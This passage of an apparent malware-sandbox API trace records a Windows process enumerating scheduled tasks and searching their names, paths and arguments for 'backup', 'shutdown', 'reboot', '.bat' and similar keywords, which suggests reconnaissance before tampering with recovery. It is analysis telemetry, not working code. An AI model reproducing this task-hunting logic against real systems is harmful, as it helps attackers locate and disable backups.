(_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0130.707] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.707] IExecAction:get_Arguments (in: This=0x2460a68, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0130.707] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6d9258 [0130.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0130.708] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0130.708] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0130.708] IUnknown:Release (This=0x2460a68) returned 0x2 [0130.708] IUnknown:Release (This=0x2460a68) returned 0x1 [0130.708] IUnknown:Release (This=0x2460118) returned 0x1 [0130.708] IUnknown:Release (This=0x24600a0) returned 0x0 [0130.708] IUnknown:Release (This=0x47ff88) returned 0x0 [0130.708] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.708] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe90) returned 0x0 [0130.708] ITaskFolderCollection:get_Count (in: This=0x47fe90, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.708] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.708] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.708] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.708] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.709] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.709] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.709] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.709] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.709] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.709] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.709] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.709] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.710] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0130.710] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff50) returned 0x0 [0130.710] IRegisteredTask:get_Name (in: This=0x47ff50, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict1") returned 0x0 [0130.710] IRegisteredTask:get_State (in: This=0x47ff50, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.712] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0130.712] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0130.712] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.712] IRegisteredTask:get_Definition (in: This=0x47ff50, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.736] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47ff98) returned 0x0 [0130.737] IActionCollection:get_Count (in: This=0x47ff98, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.737] IActionCollection:get_Item (in: This=0x47ff98, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460948) returned 0x0 [0130.737] IAction:get_Type (in: This=0x2460948, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.737] IUnknown:QueryInterface (in: This=0x2460948, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460948) returned 0x0 [0130.737] IExecAction:get_Path (in: This=0x2460948, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0130.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c28a8 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0130.737] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0130.737] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.737] IExecAction:get_Arguments (in: This=0x2460948, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0130.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x6eb648 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0130.737] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0130.737] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6eb648) returned 1 [0130.737] IUnknown:Release (This=0x2460948) returned 0x2 [0130.737] IUnknown:Release (This=0x2460948) returned 0x1 [0130.737] IUnknown:Release (This=0x47ff98) returned 0x1 [0130.737] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.738] IUnknown:Release (This=0x47ff50) returned 0x0 [0130.738] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff50) returned 0x0 [0130.738] IRegisteredTask:get_Name (in: This=0x47ff50, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict2") returned 0x0 [0130.738] IRegisteredTask:get_State (in: This=0x47ff50, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.740] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0130.740] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 [0130.740] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.740] IRegisteredTask:get_Definition (in: This=0x47ff50, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.748] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47ff98) returned 0x0 [0130.748] IActionCollection:get_Count (in: This=0x47ff98, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.748] IActionCollection:get_Item (in: This=0x47ff98, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460948) returned 0x0 [0130.748] IAction:get_Type (in: This=0x2460948, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.748] IUnknown:QueryInterface (in: This=0x2460948, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460948) returned 0x0 [0130.748] IExecAction:get_Path (in: This=0x2460948, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0130.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c28a8 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0130.748] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0130.748] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.749] IExecAction:get_Arguments (in: This=0x2460948, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0130.749] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x6eb648 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0130.749] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0130.749] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6eb648) returned 1 [0130.749] IUnknown:Release (This=0x2460948) returned 0x2 [0130.749] IUnknown:Release (This=0x2460948) returned 0x1 [0130.749] IUnknown:Release (This=0x47ff98) returned 0x1 [0130.749] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.749] IUnknown:Release (This=0x47ff50) returned 0x0 [0130.749] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.749] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.750] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.750] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.750] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.750] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.750] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea0) returned 0x0 [0130.750] IRegisteredTaskCollection:get_Count (in: This=0x47fea0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.750] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.750] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea0) returned 0x0 [0130.751] ITaskFolderCollection:get_Count (in: This=0x47fea0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.751] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.751] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.751] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.751] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe98) returned 0x0 [0130.751] IRegisteredTaskCollection:get_Count (in: This=0x47fe98, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.751] IRegisteredTaskCollection:get_Item (in: This=0x47fe98, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff78) returned 0x0 [0130.751] IRegisteredTask:get_Name (in: This=0x47ff78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SynchronizeTime") returned 0x0 [0130.751] IRegisteredTask:get_State (in: This=0x47ff78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.753] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3de0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0130.753] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0130.753] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3de0) returned 1 [0130.753] IRegisteredTask:get_Definition (in: This=0x47ff78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.769] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.769] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.769] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608f8) returned 0x0 [0130.769] IAction:get_Type (in: This=0x24608f8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.769] IUnknown:QueryInterface (in: This=0x24608f8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24608f8) returned 0x0 [0130.769] IExecAction:get_Path (in: This=0x24608f8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\sc.exe") returned 0x0 [0130.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0130.769] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0130.769] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.769] IExecAction:get_Arguments (in: This=0x24608f8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="start w32time task_started") returned 0x0 [0130.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c9c90 [0130.769] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0130.770] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0130.770] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.770] IUnknown:Release (This=0x24608f8) returned 0x2 [0130.770] IUnknown:Release (This=0x24608f8) returned 0x1 [0130.770] IUnknown:Release (This=0x2460138) returned 0x1 [0130.770] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.770] IUnknown:Release (This=0x47ff78) returned 0x0 [0130.770] IUnknown:Release (This=0x47fe98) returned 0x0 [0130.770] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461ed0) returned 0x0 [0130.770] ITaskFolderCollection:get_Count (in: This=0x2461ed0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.770] IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.770] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.770] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.770] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f38) returned 0x0 [0130.771] IRegisteredTaskCollection:get_Count (in: This=0x2461f38, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.771] IUnknown:Release (This=0x2461f38) returned 0x0 [0130.771] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f38) returned 0x0 [0130.771] ITaskFolderCollection:get_Count (in: This=0x2461f38, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.771] IUnknown:Release (This=0x2461f38) returned 0x0 [0130.771] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.771] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.771] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f58) returned 0x0 [0130.772] IRegisteredTaskCollection:get_Count (in: This=0x2461f58, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.772] IUnknown:Release (This=0x2461f58) returned 0x0 [0130.772] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f58) returned 0x0 [0130.772] ITaskFolderCollection:get_Count (in: This=0x2461f58, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.772] IUnknown:Release (This=0x2461f58) returned 0x0 [0130.772] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.772] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.772] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f38) returned 0x0 [0130.773] IRegisteredTaskCollection:get_Count (in: This=0x2461f38, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.773] IUnknown:Release (This=0x2461f38) returned 0x0 [0130.773] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f38) returned 0x0 [0130.773] ITaskFolderCollection:get_Count (in: This=0x2461f38, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.773] IUnknown:Release (This=0x2461f38) returned 0x0 [0130.773] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.773] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.773] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f60) returned 0x0 [0130.774] IRegisteredTaskCollection:get_Count (in: This=0x2461f60, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.774] IRegisteredTaskCollection:get_Item (in: This=0x2461f60, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe78) returned 0x0 [0130.774] IRegisteredTask:get_Name (in: This=0x47fe78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="QueueReporting") returned 0x0 [0130.774] IRegisteredTask:get_State (in: This=0x47fe78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.776] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.776] IUnknown:Release (This=0x2461f60) returned 0x0 [0130.776] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f60) returned 0x0 [0130.776] ITaskFolderCollection:get_Count (in: This=0x2461f60, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.777] IUnknown:Release (This=0x2461f60) returned 0x0 [0130.777] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.777] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.777] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f68) returned 0x0 [0130.777] IRegisteredTaskCollection:get_Count (in: This=0x2461f68, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.777] IUnknown:Release (This=0x2461f68) returned 0x0 [0130.777] ITaskFolder:GetFolders (in: This=0x2461ed0, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2461f68) returned 0x0 [0130.778] ITaskFolderCollection:get_Count (in: This=0x2461f68, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.778] IUnknown:Release (This=0x2461f68) returned 0x0 [0130.778] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0130.778] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2461ed0) returned 0x0 [0130.778] ITaskFolder:GetTasks (in: This=0x2461ed0, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2461f60) returned 0x0 [0130.778] IRegisteredTaskCollection:get_Count (in: This=0x2461f60, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.778] IRegisteredTaskCollection:get_Item (in: This=0x2461f60, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe78) returned 0x0 [0130.778] IRegisteredTask:get_Name (in: This=0x47fe78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateLibrary") returned 0x0 [0130.778] IRegisteredTask:get_State (in: This=0x47fe78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e30 [0130.780] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0130.780] wcsstr (_Str="updatelibrary", _SubStr="logoff") 